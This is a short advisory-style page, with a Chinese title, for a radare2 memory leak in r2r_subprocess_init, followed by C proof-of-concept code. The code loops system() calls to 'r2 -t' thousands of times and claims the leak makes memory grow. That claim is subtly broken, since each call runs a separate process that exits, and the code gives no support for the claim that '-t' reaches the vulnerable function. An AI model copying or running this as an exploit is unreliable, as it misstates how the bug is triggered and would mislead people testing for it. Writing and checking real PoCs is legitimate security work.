CVE-2025-60360 radare2 r2r_subprocess_init函数内存泄漏漏洞

// CVE-2025-60360 PoC - radare2 r2r_subprocess_init Memory Leak // This PoC demonstrates the memory leak by repeatedly triggering // the r2r_subprocess_init function through radare2's test framework. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // Simulate repeated calls to trigger the vulnerable function // In real scenario, use radare2's r2r test runner or API int main(int argc, char *argv[]) { int iterations = 1000; if (argc > 1) { iterations = atoi(argv[1]); } printf("[+] CVE-2025-60360 PoC - radare2 Memory Leak\n"); printf("[+] Triggering r2r_subprocess_init %d times...\n", iterations); // Method 1: Use radare2 command line to trigger the vulnerability // Each invocation of 'r2r' or specific radare2 commands // that internally call r2r_subprocess_init will leak memory for (int i = 0; i < iterations; i++) { // Execute radare2 with test command that triggers subprocess init // The '-t' flag runs tests which internally use r2r_subprocess_init system("r2 -t /tmp/test_binary > /dev/null 2>&1"); if (i % 100 == 0) { printf("[*] Iteration %d/%d\n", i, iterations); } } printf("[+] Done. Check process memory usage with 'ps aux' or 'top'\n"); printf("[+] Memory should have grown significantly due to the leak\n"); return 0; } // Alternative: Using radare2's r2r command directly // r2r -t test_name (each call leaks memory in vulnerable versions) // Build: gcc -o poc poc.c // Run: ./poc 10000